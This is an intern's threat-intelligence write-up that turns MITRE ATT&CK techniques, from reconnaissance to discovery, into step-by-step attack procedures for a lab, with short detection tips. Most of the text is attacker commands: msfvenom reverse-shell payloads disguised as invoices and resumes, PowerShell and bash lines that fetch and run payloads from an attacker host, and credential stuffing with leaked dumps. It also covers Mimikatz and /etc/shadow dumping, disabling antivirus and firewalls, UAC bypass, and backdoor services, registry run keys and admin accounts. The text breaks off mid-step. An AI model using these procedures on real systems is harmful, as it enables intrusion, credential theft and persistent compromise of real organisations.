Threat Intelligence Task

Name : Shivani Yadav

Intern ID : 279

Tactic 1: Reconnaissance

Technique 1: Gather Victim Identity Information

Technique ID: T1589

Goal:
Collect publicly available identity-related information (emails, usernames, personal details) of individuals within the target organization to support targeted attacks.

Objective:
Acquire contact details that can be used for spear phishing, password spraying, or credential stuffing campaigns.

Lab Setup:

- **Attacker Machine:** Kali Linux
- **Tools:** `theHarvester`, `hunter.io` API, `curl`, `jq`
- **Target:** Example company domain (`examplecorp.com`)

Procedure 1 – Using theHarvester for Email Enumeration

1. Run Search Against Search Engines
Execute theHarvester to collect emails and related information from Google:

```
theHarvester -d examplecorp.com -l 200 -b google
```

Here:

- `-d examplecorp.com` specifies the domain.
- `-l 200` limits the search to 200 results.
- `-b google` chooses Google as the search engine.

2. Review and Save the Output

The output lists emails, names, and sometimes associated job titles. Save the results to a report for later use:

```
theHarvester -d examplecorp.com -l 200 -b google -f victim_emails
```

3. Analyze Findings

Identify potential high-value targets (e.g., senior management, IT staff) whose details are now publicly known.

Procedure 2 – Using Hunter.io API for Email Discovery

1. Get an API Key

Register at hunter.io and copy your personal API key from the dashboard.

2. Run API Query to Search Emails

Use the `curl` command to fetch all public emails linked to the domain:

```
curl "https://api.hunter.io/v2/domain-search?domain=examplecorp.com&api_key=<YOUR_API_KEY>"
```

This returns JSON-formatted data containing email addresses, names, and positions.

3. Extract and Store Emails

Use `jq` to filter just the email addresses and store them in a text file:

```
curl "...API URL..." | jq '.data.emails[].value' > hunter_emails.txt
```

Outcome:

A compiled list of employee names, emails, and job titles is ready for potential exploitation in later stages of an attack simulation.

Detection Recommendations:

- Monitor for automated scraping activity targeting the company domain.
- Minimize exposure of employee details on public-facing sites.
- Use obfuscation techniques to hide direct email patterns.

Mapping:

Tactic	Technique	Technique ID	Tools	Objective
Reconnaissance	Gather Victim Identity Info	T1589	theHarvester, hunter.io	Identify individuals linked to the target org

---

Technique 2: Search Open Websites/Domains

Technique ID: T1593

Goal:
Identify the target's online infrastructure, including main websites, subdomains, and associated services.

Objective:
Build an asset inventory for potential exploitation in later phases.

Lab Setup:

- **Attacker Machine:** Kali Linux
- **Tools:** `sublist3r`, `curl`
- **Target:** `examplecorp.com`

Procedure 1 – Enumerating Subdomains with Sublist3r

1. Run Sublist3r Scan

```
sublist3r -d examplecorp.com -o subdomains.txt
```

This scans search engines and certificate transparency logs for subdomains linked to the main domain.

2. Review Output

Open `subdomains.txt` to view discovered subdomains.

3. Validate Which Subdomains Are Live

Ping or use `curl` to check for active services:

```
curl -I http://dev.examplecorp.com
```

Procedure 2 – Checking Site Content with cURL

1. Fetch Homepage Content

```
curl -s http://sub.examplecorp.com | head -n 20
```

This retrieves the first 20 lines of the website's HTML for quick inspection.

2. Identify Frameworks and Services

Look for keywords like `WordPress`, `nginx`, or `Apache` in the HTML output.

3. Document Findings

Store the subdomain and technology stack information in a reconnaissance log.

Outcome:

A detailed list of the organization's active subdomains and the technologies they use.

Detection Recommendations:

- Monitor DNS queries for suspicious enumeration activity.
- Implement a Web Application Firewall (WAF) with bot mitigation.
- Maintain your own up-to-date inventory of public assets.

Mapping:

Tactic	Technique	Technique ID	Tools	Objective

Reconnaissance	Search Open Websites/Domains	T1593	sublist3r, curl	Identify online infrastructure

---

Technique 3: Search Open Technical Databases

Technique ID: T1596

Goal:
Find exposed technical details, like server banners, firmware versions, or configurations, from open databases.

Objective:
Gather intelligence to identify vulnerable services or misconfigurations.

Lab Setup:

- **Attacker Machine:** Kali Linux
- **Tools:** `shodan`, `nmap`
- **Target:** IP ranges associated with `examplecorp.com`

Procedure 1 – Searching Shodan for Public Services

1. Log in to Shodan
Visit shodan.io and create an account for API access.

2. Run a Search for the Target Organization

```
shodan search "org:'ExampleCorp'"
```

This lists exposed services, ports, and software banners.

3. Export Results for Analysis
Save findings to a CSV for future reference:

```
shodan search "org:'ExampleCorp'" --fields ip_str,port,product
--limit 100 > shodan_results.csv
```

Procedure 2 – Verifying Findings with Nmap

1. Run a Version Detection Scan

```
nmap -sV examplecorp.com
```

This identifies the versions of services running on open ports.

2. Interpret Service Banners

Review the output to find outdated or vulnerable software versions.

3. Correlate with Known Vulnerabilities

Match service versions with CVE databases for possible exploitation paths.

Outcome:

The attacker has an accurate picture of public-facing services and potential security weaknesses.

Detection Recommendations:

- Hide version banners on public services.
- Monitor for large-scale port scanning activity.
- Patch outdated services promptly.

Mapping:

Tactic	Technique	Technique ID	Tools	Objective
Reconnaissance	Search Open Technical DBs	T1596	shodan, nmap	Identify vulnerabilities in services

---

Tactic 2: Resource Development

Technique 1: Acquire Infrastructure

Technique ID: T1583

Goal:
Obtain computing resources such as servers, domains, or cloud instances that will later be used to conduct malicious activities.

Objective:
Set up attacker-controlled infrastructure to host payloads, act as command-and-control servers, or stage phishing campaigns.

Lab Setup:

- **Attacker Machine:** Kali Linux
- **Cloud Service:** AWS (EC2) / DigitalOcean
- **Tools:** `awscli`, domain registrar portal, `ssh`

Procedure 1 – Setting Up a Cloud Server for Operations

1. Provision a Cloud Instance
Use AWS CLI to spin up a basic Linux server:

```
aws ec2 run-instances --image-id ami-12345678 --count 1
--instance-type t2.micro --key-name attacker_key
--security-groups attacker_sg
```

2. Connect to the Instance

```
ssh -i attacker_key.pem ec2-user@<PUBLIC_IP>
```

3. Prepare the Server for Use
Install required tools for hosting malicious files:

```
sudo apt update && sudo apt install apache2 -y
```

Procedure 2 – Registering a Domain Name

1. **Log In to a Domain Registrar**
   Use a service like Namecheap, GoDaddy, or Google Domains.

2. **Search and Register Domain**
   Pick a domain similar to the target's brand for phishing (e.g., `examp1ecorp.com`).
3. **Set DNS to Point to Attacker Server**
   Update A records to the cloud instance's public IP.

Outcome:
An operational, attacker-controlled server and domain are ready for later stages such as phishing or malware hosting.

Detection Recommendations:

- Monitor for newly registered domains similar to your brand.
- Use threat intelligenc e feeds to detect malicious hosting.
- Block traffic to suspicious or unverified domains.

Mapping:

Tactic	Technique	Technique ID	Tools	Objective
Resource Development	Acquire Infrastructure	T1583	awscli, ssh, apache2	Prepare attacker-controlled infrastructure

---

Technique 2: Compromise Accounts

Technique ID: T1586

Goal:
Obtain legitimate credentials for online services, cloud accounts, or social media.

Objective:
Gain access to accounts that can be used to host malicious content, send phishing emails, or spread malware.

Lab Setup:

- **Attacker Machine:** Kali Linux
- **Tools:** `hydra`, `curl`, credential dumps from breach databases.

Procedure 1 – Using Credential Stuffing on a Web Service

1. Prepare Credential List
Download leaked credentials from a breach repository.

2. Run Hydra Attack

```
hydra -L usernames.txt -P passwords.txt target.com
http-post-form "/login:user=^USER^&pass=^PASS^:Invalid login"
```

3. Record Successful Logins
Store found valid credentials securely for later use.

Procedure 2 – Using Stolen Credentials on Cloud Console

1. Obtain Credentials
Get a leaked AWS access key and secret from a paste site or dark web source.

2. Verify Access with AWS CLI

```
aws sts get-caller-identity --access-key <ACCESS_KEY>
--secret-key <SECRET_KEY>
```

3. Enumerate Resources
If valid, list resources to confirm account access:

```
aws s3 ls
```

Outcome:
Attacker gains control of valid accounts for malicious activity.

Detection Recommendations:

- Enforce multi-factor authentication (MFA).
- Monitor for unusual login patterns.
- Use credential stuffing prevention on web apps.

Mapping:

Tactic	Technique	Technique ID	Tools	Objective
Resource Development	Compromise Accounts	T1586	hydra, awscli	Use valid accounts for malicious use

---

Technique 3: Obtain Capabilities

Technique ID: T1587

Goal:
Acquire malware, exploits, or tools needed to conduct an attack.

Objective:
Ensure the attacker has functional capabilities before launching the intrusion.

Lab Setup:

- **Attacker Machine:** Kali Linux
- **Tools:** `searchsploit`, GitHub, exploit marketplaces

Procedure 1 – Downloading Exploits from Exploit-DB

1. Search for a Known Vulnerability

```
searchsploit apache 2.4
```

2. Copy the Exploit Locally

```
searchsploit -m 12345
```

3. Review and Modify Exploit
Open in a text editor and adapt parameters for your target.

Procedure 2 – Cloning a Public GitHub Repository

1. Identify a Tool Repository

Search GitHub for penetration testing tools (e.g., `sqlmap`).

2. Clone Repository

```
git clone https://github.com/sqlmapproject/sqlmap.git
```

3. Test the Tool

Run the script to verify it works:

```
python3 sqlmap.py --help
```

Outcome:

Attacker is equipped with working tools/exploits for upcoming attack phases.

Detection Recommendations:

- Monitor network for downloads from known malicious tool sources.
- Restrict execution of unapproved tools in enterprise environments.

Mapping:

Tactic	Technique	Technique ID	Tools	Objective
Resource Development	Obtain Capabilities	T1587	searchsploit, git	Acquire tools/exploits for operations

---

Tactic 3: Initial Access

Technique 1: Phishing

Technique ID: T1566

Goal:
Deliver malicious links or attachments to users to gain a foothold in the target environment.

Objective:
Trick a target into clicking a malicious link or opening an infected file to execute attacker code.

Lab Setup:

- **Attacker Machine:** Kali Linux
- **Tools:** `setoolkit` (Social Engineering Toolkit), `msfvenom`, `sendmail`
- **Target:** Victim email account (lab environment)

Procedure 1 – Crafting a Malicious Attachment

1. Generate a Payload

```
msfvenom -p windows/meterpreter/reverse_tcp
LHOST=<ATTACKER_IP> LPORT=4444 -f exe > invoice.exe
```

- *Creates a reverse shell executable disguised as an invoice.*

2. Embed Payload into a Document
Use Social Engineering Toolkit to create a malicious Office document.

3. Send the Email
Use `sendmail` or an SMTP service to deliver the document to the target user.

Procedure 2 – Sending a Phishing Link

1. Create a Fake Login Page
`setoolkit`

- Choose `Social-Engineering Attacks → Website Attack Vectors → Credential Harvester Attack`.

2. Clone Legitimate Website
Enter a real company login URL (e.g., Office 365) to clone.

3. Email the Link to the Target
Use a phishing email template with a convincing message.

Outcome:
The victim opens the file or clicks the link, giving the attacker access or credentials.

Detection Recommendations:

- Implement email filtering and attachment scanning.
- Conduct phishing awareness training.
- Block access to known phishing domains.

Mapping:

Tactic	Technique	Technique ID	Tools	Objective
Initial Access	Phishing	T1566	setoolkit, msfvenom, sendmail	Trick user into opening malicious file

---

Technique 2: Exploit Public-Facing Application

Technique ID: T1190

Goal:
Gain initial access by exploiting vulnerabilities in an internet-facing application.

Objective:
Compromise web servers or applications to deploy malicious code or create user accounts.

Lab Setup:

- **Attacker Machine:** Kali Linux
- **Tools:** `nmap`, `nikto`, `sqlmap`
- **Target:** Vulnerable web application (e.g., DVWA)

Procedure 1 – Identify Vulnerabilities

1. Scan for Open Ports & Services

```
nmap -sV -p- target.com
```

2. Run Vulnerability Scanner

```
nikto -h target.com
```

3. Document Findings

Note outdated CMS versions or exposed admin panels.

Procedure 2 – Exploit Vulnerability (SQL Injection Example)

1. Test Input Fields for SQLi

```
sqlmap -u "http://target.com/index.php?id=1" --batch
```

2. Dump Database

```
sqlmap -u "http://target.com/index.php?id=1" --dump
```

3. Extract Admin Credentials

Use credentials to log into the target system.

Outcome:

Attacker gains access to the application and possibly backend systems.

Detection Recommendations:

- Regularly patch public-facing applications.
- Use WAFs to block exploit attempts.
- Monitor logs for abnormal request patterns.

Mapping:

Tactic	Technique	Technique ID	Tools	Objective
Initial Access	Exploit Public-Facing App	T1190	nmap, nikto, sqlmap	Gain access by exploiting web apps

---

Technique 3: Valid Accounts

Technique ID: T1078

Goal:
Use legitimate credentials to gain access without exploiting a vulnerability.

Objective:
Leverage stolen or guessed credentials to authenticate to systems.

Lab Setup:

- **Attacker Machine:** Kali Linux
- **Tools:** `ssh`, `xfreerdp`, `crackmapexec`
- **Target:** Linux and Windows systems in lab network

Procedure 1 – SSH Login with Stolen Credentials

1. Obtain Credentials
Gather username and password from phishing or previous breach.

2. Connect via SSH

```
ssh user@target -p 22
```

3. Verify Access
List files and directories to confirm login success.

Procedure 2 – RDP Login to Windows System

1. Install RDP Client

```
sudo apt install freerdp2-x11
```

2. Connect to Remote Desktop

```
xfreerdp /u:user /p:password /v:target_ip
```

3. Interact with Target

Browse desktop to confirm remote access.

Outcome:

Attacker gains legitimate authenticated access to target systems.

Detection Recommendations:

- Enforce MFA for all accounts.
- Monitor for unusual login patterns and IP addresses.
- Rotate credentials after suspected compromise.

Mapping:

Tactic	Technique	Technique ID	Tools	Objective
Initial Access	Valid Accounts	T1078	ssh, xfreerdp	Use stolen credentials for access

---

Tactic 4: Execution

Technique 1: Command and Scripting Interpreter

Technique ID: T1059

Goal:
Execute malicious commands, scripts, or binaries to gain control over the target environment.

Objective:
Run arbitrary code on the target system using built-in or installed interpreters.

Lab Setup:

- **Attacker Machine:** Kali Linux
- **Target Machine:** Windows 10 VM & Ubuntu Server
- **Tools:** `cmd.exe`, `powershell`, `bash`

Procedure 1 – Windows PowerShell Command Execution

1. Open PowerShell on Target
Press `Win + R`, type `powershell`, and press Enter.

2. Run a Simple Command
```
Get-Process
```

This lists running processes to confirm execution capability.

3. Execute a Remote Script
```
IEX(New-Object Net.WebClient).DownloadString('http://<attacker-ip>/payload.ps1')
```

Downloads and runs a malicious script from the attacker's server.

Procedure 2 – Linux Bash Command Execution

1. Access Target via SSH
```
ssh user@target
```
2. Run Test Command
```
uname -a
```
Verifies OS and kernel version.

3. Execute Malicious Script

```
bash -c "$(curl -fsSL http://<attacker-ip>/payload.sh)"
```

Fetches and runs malicious bash payload.

Outcome:

Attacker successfully executes arbitrary commands on the target system.

Detection Recommendations:

- Restrict script execution policies (e.g., PowerShell ExecutionPolicy).
- Monitor for suspicious command-line patterns.
- Use application whitelisting to limit interpreters.

Mapping:

Tactic	Technique	Technique ID	Tools	Objective
Execution	Command and Scripting Interpreter	T1059	powershell, bash	Execute commands/scripts remotely

---

Technique 2: Scheduled Task/Job

Technique ID: T1053

Goal:

Execute malicious payloads at specific times or system events.

Objective:

Achieve persistence and automated execution without user interaction.

Lab Setup:

- **Attacker Machine:** Kali Linux
- **Target Machines:** Windows & Linux
- **Tools:** `schtasks`, `cron`

Procedure 1 – Creating a Scheduled Task in Window

1. Open Command Prompt as Admin

Press `Win + R`, type `cmd`, and press Enter.

2. Create Task to Run Malicious Script

```
schtasks /create /sc once /tn "Updater" /tr "powershell.exe
-ExecutionPolicy Bypass -File C:\malicious.ps1" /st 12:00
```

3. Verify Task Creation

```
schtasks /query /tn "Updater"
```

Procedure 2 – Creating a Cron Job in Linux

1. Edit Crontab

```
crontab -e
```

2. Add Malicious Job

```
0 1 * * * /bin/bash /tmp/payload.sh
```

Runs the payload daily at 1 AM.

3. Save and Confirm

```
crontab -l
```

Outcome:

Malicious code is automatically executed at a set time without manual trigger.

Detection Recommendations:

- Monitor for unexpected scheduled tasks.
- Audit crontab and Task Scheduler entries regularly.
- Alert on execution of unknown scripts via scheduled jobs.

Mapping:

Tactic	Technique	Technique ID	Tools	Objective

Execution	Scheduled Task/Job	T1053	schtasks, cron	Run malicious code at scheduled intervals

---

Technique 3: User Execution

Technique ID: T1204

Goal:
Trick a user into running a malicious file or script.

Objective:
Leverage social engineering to get the victim to execute attacker-controlled code.

Lab Setup:

- **Attacker Machine:** Kali Linux
- **Tools:** `msfvenom`, malicious Office macros, phishing email platform

---

Procedure 1 – Malicious Executable via Email

1. Generate Executable Payload

```
msfvenom -p windows/meterpreter/reverse_tcp
LHOST=<attacker-ip> LPORT=4444 -f exe > resume.exe
```

2. Disguise File as Legitimate
Rename `resume.exe` to `Resume2025.pdf.exe` and use a matching icon.

3. Send File to Target
Deliver through phishing email with a convincing message.

Procedure 2 – Malicious Office Document with Macro

1. **Open Word and Enable Developer Tab**
   Insert a new macro in the Visual Basic for Applications (VBA) editor.
2. **Add Malicious VBA Code**
   Code downloads and runs a payload from the attacker server.

3. **Save Document and Send to Victim**
   Name it something enticing, e.g., `Project_Plan_2025.docm`.

Outcome:
The victim unknowingly executes malicious code, giving attacker system access.

Detection Recommendations:

- Disable macros by default in Office applications.
- Warn users before running files from untrusted sources.
- Use endpoint protection to scan attachments before opening.

Mapping:

Tactic	Technique	Technique ID	Tools	Objective
Execution	User Execution	T1204	msfvenom, Office VBA	Trick user into running malicious file

---

Tactic 5: Persistence

Technique 1: Create or Modify System Process

Technique ID: T1543

Goal:
Maintain long-term access by creating or modifying legitimate system processes to execute malicious payloads.

Objective:
Ensure attacker code runs automatically with system privileges on startup or during normal system operation.

Lab Setup:

- **Attacker Machine:** Kali Linux
- **Target Machines:** Windows & Linux
- **Tools:** `sc`, `systemctl`

Procedure 1 – Creating a Malicious Windows Service

1. Upload Payload to Target
Place malicious executable at `C:\ProgramData\payload.exe`.

2. Create New Service

```
sc create Updater binPath= "C:\ProgramData\payload.exe" start= auto
```

3. Start Service and Verify

```
sc start Updater
sc query Updater
```

Procedure 2 – Creating a Malicious Linux Service

1. Upload Payload to Target
Place payload script at `/usr/local/bin/payload.sh`.

2. Create systemd Service File

```
nano /etc/systemd/system/updater.service
```

Add:

```
[Unit]
Description=Updater Service
[Service]
ExecStart=/bin/bash /usr/local/bin/payload.sh
Restart=always
[Install]
WantedBy=multi-user.target
```

3. Enable and Start Service

```
systemctl enable updater
systemctl start updater
```

Outcome:
Payload executes automatically via a legitimate system service.

Detection Recommendations:

- Monitor for creation of new services.
- Audit systemd and Windows service configurations regularly.
- Require admin approval for service installation.

Mapping:

Tactic	Technique	Technique ID	Tools	Objective
Persistence	Create/Modify System Process	T1543	sc, systemctl	Maintain access by creating services

---

Technique 2: Boot or Logon Autostart Execution

Technique ID: T1547

Goal:
Execute malicious code when the system boots or a user logs on.

Objective:
Maintain persistence by attaching to boot or logon routines.

Lab Setup:

- **Attacker Machine:** Kali Linux
- **Target Machines:** Windows & Linux
- **Tools:** `reg`, `nano`

Procedure 1 – Windows Registry Run Key

1. Place Payload
Save malicious executable to `C:\Users\Public\payload.exe`.

2. Add Run Key
```
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Updater /t REG_SZ /d "C:\Users\Public\payload.exe"
```

3. Verify Persistence
Restart system and check Task Manager startup entries.

Procedure 2 – Linux `.bashrc` Modification

1. Edit `.bashrc` File
```
nano ~/.bashrc
```
2. Append Payload Execution Command
```
/bin/bash /home/user/payload.sh
```

3. Verify on Next Login
Log out and back in to trigger execution.

Outcome:
Payload executes automatically at boot or user login.

Detection Recommendations:

- Monitor registry changes and `.bashrc` modifications.
- Use endpoint detection to flag new autostart entries.

Mapping:

Tactic	Technique	Technique ID	Tools	Objective
Persistence	Boot/Logon Autostart Exec	T1547	reg	Run payload at boot or logon

---

Technique 3: Account Manipulation

Technique ID: T1098

Goal:
Maintain access by creating or modifying user accounts.

Objective:
Ensure attacker can log in at will using compromised or newly created accounts.

Lab Setup:

- **Attacker Machine:** Kali Linux
- **Target Machines:** Windows & Linux
- **Tools:** `net user`, `useradd`

Procedure 1 – Create New Local Admin in Windows

1. Open Command Prompt as Admin

```
net user supportadmin Pass@123 /add
```

2. Add to Administrators Group

```
net localgroup administrators supportadmin /add
```

3. Verify Account Creation

```
net user supportadmin
```

Procedure 2 – Create New User in Linux

1. Create User and Set Password

```
sudo useradd attacker
sudo passwd attacker
```

2. Add to Sudoers

```
sudo usermod -aG sudo attacker
```

3. Test Login

SSH into the system as `attacker` to verify access.

Outcome:
Attacker maintains control through their own persistent account.

Detection Recommendations:

- Audit for unexpected new user accounts.
- Require MFA for all admin accounts.
- Monitor group membership changes.

Mapping:

Tactic	Technique	Technique ID	Tools	Objective
Persistence	Account Manipulation	T1098	net user, useradd	Maintain access via new accounts

---

Tactic 6: Privilege Escalation

Technique 1: Exploitation for Privilege Escalation

Technique ID: T1068

Goal:
Gain higher-level permissions by exploiting vulnerabilities in operating systems, software, or services.

Objective:
Move from a low-privileged account to administrator/root to gain full control over the target system.

Lab Setup:

- **Attacker Machine:** Kali Linux
- **Target Machine:** Windows 10 VM / Linux Server (with known vulnerability)
- **Tools:** `searchsploit`, public privilege escalation exploits

Procedure 1 – Windows Kernel Exploit

1. Search for Known Vulnerabilities

```
searchsploit windows local privilege escalation
```

Look for exploits matching the Windows version from `systeminfo`.

2. Transfer Exploit to Target

Upload the exploit binary to the victim machine.

3. Execute Exploit

Run the exploit to spawn an elevated command shell with Administrator privileges.

Procedure 2 – Linux Sudo Vulnerability Exploit

1. Check Sudo Version

```
sudo --version
```

2. Identify Exploit for Version

Search exploit databases for vulnerabilities in that sudo version.

3. **Execute Exploit**

Run the exploit to obtain a root shell.

Outcome:

Attacker gains full administrative rights over the target machine.

Detection Recommendations:

- Keep systems fully patched.
- Limit use of accounts with elevated privileges.
- Monitor for execution of known exploit binaries.

Mapping:

Tactic	Technique	Technique ID	Tools	Objective
Privilege Escalation	Exploitation for Priv Escalation	T1068	searchsploit	Gain higher privileges via exploits

---

Technique 2: Process Injection

Technique ID: T1055

Goal:
Inject malicious code into another process to execute with its privileges.

Objective:
Escalate privileges by running inside a higher-privileged process.

Lab Setup:

- **Attacker Machine:** Kali Linux
- **Target Machine:** Windows 10 VM
- **Tools:** `metasploit`, `mimikatz`

Procedure 1 – Inject into System Process via Metasploit

1. Obtain Meterpreter Session
Exploit a vulnerability to get a Meterpreter shell on the target.

2. List Running Processes

```
ps
```

3. Inject into High-Privilege Process

```
migrate <process_id>
```

This moves the malicious session into a SYSTEM-level process.

Procedure 2 – DLL Injection

1. Create Malicious DLL
Compile a DLL that executes malicious code.

2. Use an Injector Tool
Load the DLL into a privileged process (e.g., `explorer.exe`).

3. Confirm Execution
Verify that the injected process runs the malicious code.

Outcome:
Attacker's code executes with the privileges of the target process.

Detection Recommendations:

- Monitor for unusual process injection behavior.
- Use EDR tools to detect code injection patterns.
- Restrict permissions for process memory manipulation.

Mapping:

Tactic	Technique	Technique ID	Tools	Objective
Privilege Escalation	Process Injection	T1055	metasploit, DLL	Escalate privileges via injection

---

Technique 3: Abuse Elevation Control Mechanism

Technique ID: T1548

Goal:
Bypass User Account Control (UAC) or other mechanisms to run commands with higher privileges.

Objective:
Escalate privileges without triggering alerts from normal administrative controls.

Lab Setup:

- **Attacker Machine:** Kali Linux
- **Target Machine:** Windows 10 VM / Linux Server
- **Tools:** `uacme`, `sudo`

Procedure 1 – Bypassing UAC in Windows

1. Upload UAC Bypass Tool (uacme)

Copy `uacme.exe` to target.

2. Run Exploit Command

```
uacme.exe 23 C:\payload.exe
```

3. Confirm Elevated Execution

Payload runs with full Administrator rights.

Procedure 2 – Exploiting Misconfigured Sudo in Linux

1. Check Sudo Privileges

```
sudo -l
```

2. Identify Misconfigurations

If allowed to run certain binaries without a password, abuse them for escalation.

3. Run Privileged Command

```
sudo /bin/bash
```

Grants root shell access.

Outcome:

Attacker gains admin/root privileges without triggering normal security checks.

Detection Recommendations:

- Enforce least privilege principle.

- Audit sudoers configuration and UAC settings.
- Monitor for UAC bypass tool signatures.

Mapping:

Tactic	Technique	Technique ID	Tools	Objective
Privilege Escalation	Abuse Elevation Control	T1548	uacme, sudo	Gain elevated privileges bypassing UAC

Tactic 7: Defense Evasion

Technique 1: Obfuscated Files or Information

Technique ID: T1027

Goal:
Hide malicious content from security tools and analysts by making it harder to read or detect.

Objective:
Avoid detection by encoding, encrypting, or packing malicious files and scripts.

Lab Setup:

- **Attacker Machine:** Kali Linux
- **Tools:** `base64`, `upx`, `openssl`
- **Target Machine:** Any system with antivirus installed

Procedure 1 – Base64 Encoding a Payload

1. Generate Payload

```
msfvenom -p windows/meterpreter/reverse_tcp
LHOST=<attacker-ip> LPORT=4444 -f exe > payload.exe
```

2. Encode with Base64

```
base64 payload.exe > payload.b64
```

3. Decode on Target

On the victim machine, decode and execute:

```
base64 -d payload.b64 > payload.exe
```

Procedure 2 – Packing Executable with UPX

1. Install UPX

```
sudo apt install upx
```

2. Pack Payload

```
upx payload.exe
```

3. Deliver Packed Payload

Send to target; packing changes file signature to bypass AV detection.

Outcome:

Payload bypasses signature-based antivirus due to altered or encoded structure.

Detection Recommendations:

- Use sandboxing to analyze files in decoded/unpacked form.
- Monitor for base64 decoding activity.
- Detect known packer signatures.

Mapping:

Tactic	Technique	Technique ID	Tools	Objective
Defense Evasion	Obfuscated Files/Info	T1027	base64, upx	Hide malicious content from detection

---

Technique 2: Masquerading

Technique ID: T1036

Goal:
Disguise malicious files or processes as legitimate ones to avoid suspicion.

Objective:
Blend in with normal system files and activity.

Lab Setup:

- **Attacker Machine:** Kali Linux
- **Target Machine:** Windows 10
- **Tools:** `attrib`, `icacls`

Procedure 1 – Renaming Malicious Executable

1. Create Payload

```
msfvenom -p windows/meterpreter/reverse_tcp
LHOST=<attacker-ip> LPORT=4444 -f exe > svchost.exe
```

2. Place in System Directory
Copy to `C:\Windows\System32\`.

3. Run as Legitimate Process
Executing under a name like `svchost.exe` blends with real processes.

Procedure 2 – Changing File Icon and Properties

1. **Use Resource Hacker**
   Open malicious EXE and replace its icon with a Microsoft Office icon.
2. **Modify File Properties**
   Change metadata to match a legitimate application.
3. **Send to Target**
   Disguised file looks like a harmless Office document.

Outcome:
Malicious file appears to be a legitimate system or document file.

Detection Recommendations:

- Monitor for unexpected executables in system folders.
- Flag unusual changes to file metadata.
- Use file integrity monitoring solutions.

Mapping:

Tactic	Technique	Technique ID	Tools	Objective
Defense Evasion	Masquerading	T1036	Resource Hacker, attrib	Disguise malicious files as legit

---

Technique 3: Impair Defenses

Technique ID: T1562

Goal:
Disable or alter security tools to avoid detection.

Objective:
Reduce or remove the target's ability to detect malicious activity.

Lab Setup:

- **Attacker Machine:** Kali Linux
- **Target Machine:** Windows 10 / Linux Server
- **Tools:** `net stop`, `sc`, `systemctl`

Procedure 1 – Disabling Antivirus on Windows

1. Open Command Prompt as Admin
Press `Win + R`, type `cmd`, press Enter.

2. Stop Security Service

```
net stop "Windows Defender Antivirus Service"
```

3. Confirm Service Status

```
sc query windefend
```

Procedure 2 – Disabling Security Daemons on Linux

1. List Active Services

```
systemctl list-units --type=service
```

2. Stop Firewall

```
sudo systemctl stop ufw
```

3. Disable on Boot

```
sudo systemctl disable ufw
```

Outcome:
Security tools are disabled, allowing malicious activities to proceed undetected.

Detection Recommendations:

- Lock down permissions to modify or disable security tools.
- Monitor for service stoppage events.
- Enable tamper protection features in AV software.

Mapping:

Tactic	Technique	Technique ID	Tools	Objective
Defense Evasion	Impair Defenses	T1562	net stop, systemctl	Disable or alter security mechanisms

---

Tactic 8: Credential Access

Technique 1: OS Credential Dumping

Technique ID: T1003

Goal:
Extract password hashes, plaintext passwords, or Kerberos tickets from operating system memory or files.

Objective:
Obtain authentication credentials for further access or lateral movement.

Lab Setup:

- **Attacker Machine:** Kali Linux
- **Target Machine:** Windows 10 / Linux Server
- **Tools:** `mimikatz`, `secretsdump.py` (Impacket)

Procedure 1 – Dumping Windows Credentials with Mimikatz

1. Obtain Admin/SYSTEM Access
Get a high-privilege session on the victim machine.

2. Run Mimikatz
```
mimikatz.exe
```
3. Extract Credentials
Inside Mimikatz:
```
privilege::debug
sekurlsa::logonpasswords
```

Lists plaintext passwords, NTLM hashes, and Kerberos tickets.

Procedure 2 – Dumping Linux Hashes from `/etc/shadow`

1. Get Root Access
Exploit vulnerability or escalate privileges.

2. Read Shadow File
```
cat /etc/shadow
```

3. Crack Hashes

Use `john` or `hashcat` to recover plaintext passwords.

Outcome:

Attacker gains user credentials for reuse in authentication.

Detection Recommendations:

- Limit access to LSASS process in Windows.
- Monitor for shadow file access on Linux.
- Enable Credential Guard or equivalent protections.

Mapping:

Tactic	Technique	Technique ID	Tools	Objective
Credential Access	OS Credential Dumping	T1003	mimikatz, secretsdump	Extract credentials from OS memory

---

Technique 2: Brute Force

Technique ID: T1110

Goal:

Guess passwords through repeated login attempts.

Objective:

Obtain valid account credentials by systematically trying different passwords.

Lab Setup:

- **Attacker Machine:** Kali Linux
- **Tools:** `hydra`, `medusa`
- **Target:** SSH or RDP service in lab

Procedure 1 – SSH Brute Force

1. Prepare Wordlists

```
nano users.txt   # list of usernames
nano passwords.txt # list of passwords
```

2. Run Hydra Attack

```
hydra -L users.txt -P passwords.txt ssh://target-ip
```

3. Record Valid Credentials

Save for later use.

Procedure 2 – RDP Brute Force

1. Run Hydra on RDP

```
hydra -L users.txt -P passwords.txt rdp://target-ip
```

2. Verify Login

Use `xfreerdp` to log in with found credentials.

3. Document Success

Keep credentials for persistence or lateral movement.

Outcome:

Attacker discovers valid usernames and passwords through repeated attempts.

Detection Recommendations:

- Lock accounts after several failed login attempts.
- Use MFA to reduce risk from password guessing.
- Monitor for repeated failed logins from single IPs.

Mapping:

Tactic	Technique	Technique ID	Tools	Objective
Credential Access	Brute Force	T1110	hydra, medusa	Guess passwords via repeated login tries

---

Technique 3: Unsecured Credentials

Technique ID: T1552

Goal:
Find credentials stored insecurely on systems or applications.

Objective:
Recover plaintext passwords, API keys, or tokens from files, scripts, or configs.

Lab Setup:

- **Attacker Machine:** Kali Linux
- **Tools:** `grep`, `strings`, manual search
- **Target Machine:** Linux / Windows host

Procedure 1 – Searching Config Files on Linux

1. Access Target Filesystem
SSH or local shell on target.

2. Search for Keywords

```
grep -Ri "password" /var/www/
grep -Ri "apikey" /etc/
```

3. Collect Found Credentials
Store securely for later use.

Procedure 2 – Searching Windows Files for Credentials

1. Look in Application Configurations
Commonly in `.ini` or `.config` files.

2. Use `findstr` Command

```
findstr /si password *.txt *.ini *.config
```

3. Check for Hardcoded Secrets
Extract tokens or passwords for authentication.

Outcome:
Attacker recovers credentials without needing to crack or guess them.

Detection Recommendations:

- Avoid storing plaintext credentials in files.
- Use secret management tools like Vault or AWS Secrets Manager.
- Scan for exposed secrets during development and deployment.

Mapping:

Tactic	Technique	Technique ID	Tools	Objective
Credential Access	Unsecured Credentials	T1552	grep, findstr	Retrieve stored credentials in files

---

Tactic 9: Discovery

Technique 1: Network Service Scanning

Technique ID: T1046

Goal:
Identify open ports, services, and potential attack surfaces on target systems.

Objective:
Gather information on available services to plan further attacks or lateral movement.

Lab Setup:

- **Attacker Machine:** Kali Linux
- **Tools:** `nmap`, `masscan`
- **Target:** Lab network or specific host

Procedure 1 – Using Nmap for Service Enumeration

1. Run Basic Scan

```
nmap -sV target-ip
```

Detects open ports and service versions.

2. Enable OS Detection

```
